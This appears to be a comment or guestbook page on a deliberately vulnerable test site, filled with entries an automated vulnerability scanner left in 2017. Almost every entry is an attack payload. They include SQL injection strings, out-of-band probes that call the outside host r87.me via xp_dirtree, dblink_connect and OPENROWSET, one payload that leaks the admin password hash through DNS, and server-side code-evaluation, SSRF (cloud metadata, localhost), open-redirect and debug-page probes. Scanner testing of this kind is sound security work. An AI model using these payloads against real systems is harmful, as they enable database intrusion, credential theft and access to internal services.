http://www.example.com

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n http://r87.com/?testsparker.com/\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:47 AM\r\n

\r\n

\r\n eval('print localtime()*0+0xFFF9999-22')\r\n

\r\n
\r\n

(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu6olwxenayn61zuznzvkpieqw2uxuss'||'zqo.r87.me') from DUAL)

\r\n

\r\n 8/23/2017 8:07:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:47 AM\r\n

\r\n

\r\n print localtime()*0+0xFFF9999-22\r\n

\r\n
\r\n

(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu5bux1l7536c7txqvw2vvoxrdqbr4ju'||'dau.r87.me') from DUAL)

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||cast((SELECT dblink_connect('host=o010_rdnxuamtijxrh_ua47ll7e6-nc4qrs7wicc'||'wby.r87.me user=a password=a connect_timeout=2')) as numeric)||'

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||cast((SELECT dblink_connect('host=o010_rdnxu_0yjiybkjb8gteg5wkotzgoa1zifn1'||'bme.r87.me user=a password=a connect_timeout=2')) as numeric)||'

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

cast((SELECT dblink_connect('host=o010_rdnxuddfqmvhh1jbp6oafwbchqjv2quvajg'||'yru.r87.me user=a password=a connect_timeout=2')) as numeric)

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

cast((SELECT dblink_connect('host=o010_rdnxugpapkhq8ssuvqftyjaxfcqkladiscr'||'mia.r87.me user=a password=a connect_timeout=2')) as numeric)

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n http://r87.com/?testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

dblink_connect('host=o010_rdnxuzkqd2xzqzomqtyhwubjnsm7qrtw41t'||'hmy.r87.me user=a password=a connect_timeout=2')

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

dblink_connect('host=o010_rdnxuagjvg0f2rhewf39zzrgsd8gd5a9nzl'||'mxi.r87.me user=a password=a connect_timeout=2')

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n [php]print(int)0xFFF9999-22;[/php]\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

SELECT dblink_connect('host=o010_rdnxuvwmotchao5p8ee8yqxr8vb08wancnl'||'zrg.r87.me user=a password=a connect_timeout=2')

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1\\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n '{${print(int)0xFFF9999-22}}'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

SELECT dblink_connect('host=o010_rdnxuet4tsuzg8phsdufx201xezqei3nqw4'||'3gg.r87.me user=a password=a connect_timeout=2')

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxuoor_h9vzkn-hbagxjoylf8jk8jccgw'+'jfq.r87.me')exec sp_executesql @r--

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxuaxtltofwd04m-y_ebcgkrjzqufv9ui'+'u58.r87.me')exec sp_executesql @r--

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1' OR 1=1 OR '1'='1

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n {php}print(int)0xFFF9999-22;{/php}\r\n

\r\n
\r\n

(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1' OR 1=1 OR '1'='1

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 OR X='ss

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 OR 17-7=10

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \"+print(int)0xFFF9999-22+\"\r\n

\r\n
\r\n

DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxulgxbbhzfz4jijkmgflzscjkuwn1wey'+'frc.r87.me')exec sp_executesql @r

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+NSFTW+'

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1' OR 1=1 OR 'ns'='ns

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 AND 'NS='ss

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n '+print(int)0xFFF9999-22+'\r\n

\r\n
\r\n

NSFTW

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

NS1NO

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n +print(int)0xFFF9999-22;//\r\n

\r\n
\r\n

'

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

syscolumns WHERE 2>3;exec('xp_dirtree ''\\\\o010_rdnxuegehvyh4tozikzp_sz8bz3rfje4rmt'+'ffc.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

syscolumns WHERE 2>3;exec('xp_dirtree ''\\\\o010_rdnxu_rlfsyflnno_jfoftswysywvm7oabo'+'efc.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1'))exec('xp_dirtree ''\\\\o010_rdnxujofvccq3wukhi5ijuuezny-tix8gkm'+'4oo.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 OR 1=1

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 OR 1=1

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1'))exec('xp_dirtree ''\\\\o010_rdnxuzqu8zhegczorgqssxr9fnuar6zijoc'+'abu.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n print(int)0xFFF9999-22;\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1\" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+\"

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n print(int)0xFFF9999-22\r\n

\r\n
\r\n

1))exec('xp_dirtree ''\\\\o010_rdnxue-9qm_9lazckav4txcnqrsysxmlcg1'+'2wg.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1))exec('xp_dirtree ''\\\\o010_rdnxuf_h9io7sqlhhe_ufjklwpf7nybmrs5'+'gti.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1')exec('xp_dirtree ''\\\\o010_rdnxuttnsrg-w1x36fpbrxjivg8gq-oy-yf'+'ytq.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1')exec('xp_dirtree ''\\\\o010_rdnxuztaizmkuesygeiwmd0jf2tb-4bosqk'+'bmo.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n <% response.write(268409241-22) %>\r\n

\r\n
\r\n

'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://127.0.0.1:3306

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1) exec('xp_dirtree ''\\\\o010_rdnxutbxadbiay2qpq7l3uzv0r6rszjb69z'+'ycs.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://127.100.11.2:22

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1) exec('xp_dirtree ''\\\\o010_rdnxujje-z2c0o6sgdxak6qx4bdw7krpxak'+'miq.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \"+response.write(268409241-22)+\"\r\n

\r\n
\r\n

-1';exec('xp_dirtree ''\\\\o010_rdnxu_binymicgqs0mr_tqmg0etimkpuqf_'+'mag.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1';exec('xp_dirtree ''\\\\o010_rdnxu5rmjmfgrfi3m7sxux-otfnq-okffbz'+'xsc.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n +response.write(268409241-22)'\r\n

\r\n
\r\n

1;exec('xp_dirtree ''\\\\o010_rdnxuenm1cug77lkxyh6u3i_kiigtfmjte9'+'u_0.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://169.254.169.254/latest/meta-data/public-hostname

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1;exec('xp_dirtree ''\\\\o010_rdnxu-wapxz4khslionz7htkft8phjf2y_m'+'r2c.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n response.write(268409241-22)'\r\n

\r\n
\r\n

'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(password_hash),0,63)+'.o010_rdnxujddwymlnhrkmm6nr5biw3wlpvsdly7'+'_gw.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\\\'+@h+'\\c$''')

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

exec('xp_dirtree ''\\\\o010_rdnxuoa5y4ljmunt4lqrt5a_ihxuxo5lfhe'+'2jc.r87.me'+'\\c$\\a''')

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://aws.r87.me/latest/meta-data/public-hostname

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.0.0.1/elmah

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

exec('xp_dirtree ''\\\\o010_rdnxupofez4lle7uaifb2pjolpqhlhvakwr'+'au0.r87.me'+'\\c$\\a''')

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

::1/elmah

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.100.11.2/elmah

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

54.204.37.212/elmah

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n http://r87.me/r/?id=o010_rdnxunlqqnb-wh4pfdr6xcbhbs1l7mbdz40kgs\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%27

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

testsparker.com/elmah

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://testsparker.com/elmah

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.0.0.1/elmah.axd

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n //o010_rdnxumzyeg2jmizy9ulgpsrnp3qj7q-92wbphi.r87.me\r\n

\r\n
\r\n

::1/elmah.axd

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.100.11.2/elmah.axd

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

54.204.37.212/elmah.axd

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

testsparker.com/elmah.axd

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://testsparker.com/elmah.axd

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n o010_rdnxu6fs205cii4h6twxrrueb6x78mq9mcvhe0.r87.me\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.0.0.1/trace.axd

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

::1/trace.axd

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.100.11.2/trace.axd

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

54.204.37.212/trace.axd

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

testsparker.com/trace.axd

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.me/r/?id=o010_rdnxul9hklnexxypyeyuaiuqs3ia7je9ravkyo

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.me/r/?id=o010_rdnxurgpam8tzujbtumegwkkdc6fvw267oylwm

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://testsparker.com/trace.axd

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//o010_rdnxugbohtojdn6hayvvw3i1q1w1-323odja3y.r87.me

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

https://testsparker.com.r87.com/?

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//o010_rdnxubkktim9opehzsbyouvagdoce2diynegna.r87.me

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://testsparker.com.r87.com/?

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

o010_rdnxullmel2s_uzeaetww76tid6qsfrdpkiivi.r87.me

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

testsparker.com.r87.com/?

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

o010_rdnxu2syv-e7387wz5qeblecfvbiz3hnfsmhp4.r87.me

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

///r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/\\r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

